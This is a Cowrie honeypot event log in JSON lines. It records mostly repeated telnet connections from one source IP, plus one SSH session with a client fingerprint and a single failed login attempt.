{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":54920,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0dd4d45e09","protocol":"telnet","message":"New connection: 173.249.63.118:54920 (10.17.0.5:23) [session: 9a0dd4d45e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:52.650878Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":53022,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f49e4937b78","protocol":"telnet","message":"New connection: 173.249.63.118:53022 (10.17.0.5:23) [session: 2f49e4937b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:52.745774Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55252,"dst_ip":"10.17.0.5","dst_port":23,"session":"7024b974c307","protocol":"telnet","message":"New connection: 173.249.63.118:55252 (10.17.0.5:23) [session: 7024b974c307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:53.045707Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":54382,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e342eb64164","protocol":"telnet","message":"New connection: 173.249.63.118:54382 (10.17.0.5:23) [session: 1e342eb64164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:53.050183Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50878,"dst_ip":"10.17.0.5","dst_port":23,"session":"42011a73fe61","protocol":"telnet","message":"New connection: 173.249.63.118:50878 (10.17.0.5:23) [session: 42011a73fe61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:53.242407Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55440,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f14b56d62ab","protocol":"telnet","message":"New connection: 173.249.63.118:55440 (10.17.0.5:23) [session: 5f14b56d62ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:53.347290Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55158,"dst_ip":"10.17.0.5","dst_port":23,"session":"fede9ae86f25","protocol":"telnet","message":"New connection: 173.249.63.118:55158 (10.17.0.5:23) [session: fede9ae86f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:53.948364Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"6736805f1b73","protocol":"telnet","message":"New connection: 173.249.63.118:55934 (10.17.0.5:23) [session: 6736805f1b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:54.444336Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":56282,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fa221ea9e9d","protocol":"telnet","message":"New connection: 173.249.63.118:56282 (10.17.0.5:23) [session: 0fa221ea9e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:55.144672Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47778,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd9a3c4cf8ba","protocol":"telnet","message":"New connection: 173.249.63.118:47778 (10.17.0.5:23) [session: bd9a3c4cf8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:55.843681Z"}
{"eventid":"cowrie.session.closed","duration":31.511974334716797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:55.860289Z","src_ip":"173.249.63.118","session":"c22363d89841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55251,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e17a8711cd1","protocol":"telnet","message":"New connection: 173.249.63.118:55251 (10.17.0.5:23) [session: 2e17a8711cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:56.057835Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57112,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8948401749a","protocol":"telnet","message":"New connection: 173.249.63.118:57112 (10.17.0.5:23) [session: a8948401749a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:56.444283Z"}
{"eventid":"cowrie.session.closed","duration":30.69777274131775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:56.447805Z","src_ip":"173.249.63.118","session":"ea84e397597b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992244005203247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:56.746660Z","src_ip":"173.249.63.118","session":"a37d76dac693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093973875045776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:56.756361Z","src_ip":"173.249.63.118","session":"45fc5c34442a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":56996,"dst_ip":"10.17.0.5","dst_port":23,"session":"e26e40aa68eb","protocol":"telnet","message":"New connection: 173.249.63.118:56996 (10.17.0.5:23) [session: e26e40aa68eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:57.148074Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57608,"dst_ip":"10.17.0.5","dst_port":23,"session":"48464d8da7bb","protocol":"telnet","message":"New connection: 173.249.63.118:57608 (10.17.0.5:23) [session: 48464d8da7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:57.346720Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57204,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a0a01f2805e","protocol":"telnet","message":"New connection: 173.249.63.118:57204 (10.17.0.5:23) [session: 1a0a01f2805e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:57.644764Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":56230,"dst_ip":"10.17.0.5","dst_port":23,"session":"5870d1b21c26","protocol":"telnet","message":"New connection: 173.249.63.118:56230 (10.17.0.5:23) [session: 5870d1b21c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:58.044504Z"}
{"eventid":"cowrie.session.closed","duration":30.60175323486328,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:58.054183Z","src_ip":"173.249.63.118","session":"134c449eaf4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57238,"dst_ip":"10.17.0.5","dst_port":23,"session":"d07ce03c237b","protocol":"telnet","message":"New connection: 173.249.63.118:57238 (10.17.0.5:23) [session: d07ce03c237b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:58.747245Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58422,"dst_ip":"10.17.0.5","dst_port":23,"session":"c104a29f232a","protocol":"telnet","message":"New connection: 173.249.63.118:58422 (10.17.0.5:23) [session: c104a29f232a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:58.751415Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57292,"dst_ip":"10.17.0.5","dst_port":23,"session":"69bd58687e9a","protocol":"telnet","message":"New connection: 173.249.63.118:57292 (10.17.0.5:23) [session: 69bd58687e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:58.845465Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57726,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f649bf5e1f5","protocol":"telnet","message":"New connection: 173.249.63.118:57726 (10.17.0.5:23) [session: 5f649bf5e1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:59.547309Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58498,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb4e178d76c5","protocol":"telnet","message":"New connection: 173.249.63.118:58498 (10.17.0.5:23) [session: eb4e178d76c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:46:59.943870Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58608,"dst_ip":"10.17.0.5","dst_port":23,"session":"793056cd6a32","protocol":"telnet","message":"New connection: 173.249.63.118:58608 (10.17.0.5:23) [session: 793056cd6a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:00.058261Z"}
{"eventid":"cowrie.session.closed","duration":30.811252117156982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:00.476136Z","src_ip":"51.161.172.108","session":"880c48de9557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.503325700759888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:00.654864Z","src_ip":"173.249.63.118","session":"00f899ed658f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":59384,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd2f9578587c","protocol":"telnet","message":"New connection: 173.249.63.118:59384 (10.17.0.5:23) [session: cd2f9578587c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:00.958271Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58064,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d29ef8928a","protocol":"telnet","message":"New connection: 173.249.63.118:58064 (10.17.0.5:23) [session: 40d29ef8928a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:01.242059Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":59638,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bc5534fb7e1","protocol":"telnet","message":"New connection: 173.249.63.118:59638 (10.17.0.5:23) [session: 1bc5534fb7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:01.344738Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55816,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1f47e1ce8dc","protocol":"telnet","message":"New connection: 173.249.63.118:55816 (10.17.0.5:23) [session: b1f47e1ce8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:01.443480Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":59810,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c85bc66ca66","protocol":"telnet","message":"New connection: 173.249.63.118:59810 (10.17.0.5:23) [session: 8c85bc66ca66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:01.663698Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58726,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45024ee2dd8","protocol":"telnet","message":"New connection: 173.249.63.118:58726 (10.17.0.5:23) [session: a45024ee2dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:02.143411Z"}
{"eventid":"cowrie.session.closed","duration":30.60585045814514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:02.151365Z","src_ip":"173.249.63.118","session":"968b4536f4fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005706310272217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:02.257532Z","src_ip":"173.249.63.118","session":"9a15e5290275","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.290510654449463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:03.148455Z","src_ip":"173.249.63.118","session":"769c53a66c96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095121383666992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:03.345922Z","src_ip":"173.249.63.118","session":"72ac737e83b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":36548,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e62c2334b31","protocol":"telnet","message":"New connection: 173.249.63.118:36548 (10.17.0.5:23) [session: 2e62c2334b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:03.642973Z"}
{"eventid":"cowrie.session.closed","duration":30.912689924240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:04.060853Z","src_ip":"173.249.63.118","session":"1af3820f8d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"af6f0faf06ce","protocol":"telnet","message":"New connection: 173.249.63.118:37022 (10.17.0.5:23) [session: af6f0faf06ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:04.243182Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":37020,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d9abc6a868","protocol":"telnet","message":"New connection: 173.249.63.118:37020 (10.17.0.5:23) [session: b0d9abc6a868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:04.249958Z"}
{"eventid":"cowrie.session.closed","duration":31.212820529937744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:04.262647Z","src_ip":"173.249.63.118","session":"9cac114f6aea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":37454,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91289361f76","protocol":"telnet","message":"New connection: 173.249.63.118:37454 (10.17.0.5:23) [session: f91289361f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:05.947037Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":38482,"dst_ip":"10.17.0.5","dst_port":23,"session":"379e61470692","protocol":"telnet","message":"New connection: 173.249.63.118:38482 (10.17.0.5:23) [session: 379e61470692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:06.041759Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":58224,"dst_ip":"159.203.135.109","dst_port":23,"session":"72a5b712211d","protocol":"telnet","message":"New connection: 34.69.118.1:58224 (159.203.135.109:23) [session: 72a5b712211d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:06.060608Z"}
{"eventid":"cowrie.session.closed","duration":31.00102949142456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:06.154558Z","src_ip":"173.249.63.118","session":"88924f475184","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":36110,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba67d84044f","protocol":"telnet","message":"New connection: 173.249.63.118:36110 (10.17.0.5:23) [session: aba67d84044f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:06.244965Z"}
{"eventid":"cowrie.session.closed","duration":30.612226724624634,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:06.456891Z","src_ip":"173.249.63.118","session":"7a1eef491a1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.298465490341187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:06.844765Z","src_ip":"173.249.63.118","session":"eb7dda356f5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":40110,"dst_ip":"10.17.0.5","dst_port":23,"session":"2724b10a8b30","protocol":"telnet","message":"New connection: 173.249.63.118:40110 (10.17.0.5:23) [session: 2724b10a8b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:08.348420Z"}
{"eventid":"cowrie.session.closed","duration":30.807657957077026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:09.452982Z","src_ip":"173.249.63.118","session":"8fdabe102ac5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":39186,"dst_ip":"10.17.0.5","dst_port":23,"session":"49d8a55bb5da","protocol":"telnet","message":"New connection: 173.249.63.118:39186 (10.17.0.5:23) [session: 49d8a55bb5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:09.657948Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":41384,"dst_ip":"10.17.0.5","dst_port":23,"session":"801a9f3d1f6e","protocol":"telnet","message":"New connection: 173.249.63.118:41384 (10.17.0.5:23) [session: 801a9f3d1f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:09.745450Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":38048,"dst_ip":"10.17.0.5","dst_port":23,"session":"32917cfe00ac","protocol":"telnet","message":"New connection: 173.249.63.118:38048 (10.17.0.5:23) [session: 32917cfe00ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:09.754246Z"}
{"eventid":"cowrie.session.closed","duration":31.59645915031433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:09.958081Z","src_ip":"173.249.63.118","session":"fa13a0dc5686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.602318286895752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:10.046823Z","src_ip":"173.249.63.118","session":"de3f4da0b7cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70690894126892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:10.752789Z","src_ip":"173.249.63.118","session":"5d8a3b7df7af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90333104133606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:11.047152Z","src_ip":"173.249.63.118","session":"45bbc95d1e87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":41032,"dst_ip":"10.17.0.5","dst_port":23,"session":"97bacfd12aab","protocol":"telnet","message":"New connection: 173.249.63.118:41032 (10.17.0.5:23) [session: 97bacfd12aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:12.058042Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbdddeca1881","protocol":"telnet","message":"New connection: 173.249.63.118:40520 (10.17.0.5:23) [session: fbdddeca1881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:12.063561Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":41660,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ed2c45f33e5","protocol":"telnet","message":"New connection: 173.249.63.118:41660 (10.17.0.5:23) [session: 8ed2c45f33e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:12.153775Z"}
{"eventid":"cowrie.session.closed","duration":31.510900259017944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:12.755314Z","src_ip":"173.249.63.118","session":"ab816f8e3ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10760521888733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:13.055937Z","src_ip":"173.249.63.118","session":"42fd0cde3d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":60888,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7ac35ec333f","protocol":"ssh","message":"New connection: 160.251.101.169:60888 (10.17.0.5:22) [session: e7ac35ec333f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:13.128801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:13.135694Z","src_ip":"160.251.101.169","session":"e7ac35ec333f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:13.293314Z","src_ip":"160.251.101.169","session":"e7ac35ec333f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo123","message":"login attempt [ubuntu/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:13.947766Z","src_ip":"160.251.101.169","session":"e7ac35ec333f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43650,"dst_ip":"10.17.0.5","dst_port":23,"session":"a70fd442427f","protocol":"telnet","message":"New connection: 173.249.63.118:43650 (10.17.0.5:23) [session: a70fd442427f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:13.952291Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":42796,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b13aedf6d97","protocol":"telnet","message":"New connection: 173.249.63.118:42796 (10.17.0.5:23) [session: 4b13aedf6d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:14.264854Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":59904,"dst_ip":"159.203.135.109","dst_port":23,"session":"28bf83226105","protocol":"telnet","message":"New connection: 167.99.38.72:59904 (159.203.135.109:23) [session: 28bf83226105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:14.335537Z"}
{"eventid":"cowrie.session.closed","duration":31.10121512413025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:14.551252Z","src_ip":"173.249.63.118","session":"3d5f97b9c9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.397282361984253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:14.642379Z","src_ip":"173.249.63.118","session":"48ec51e20a4f","protocol":"telnet"}
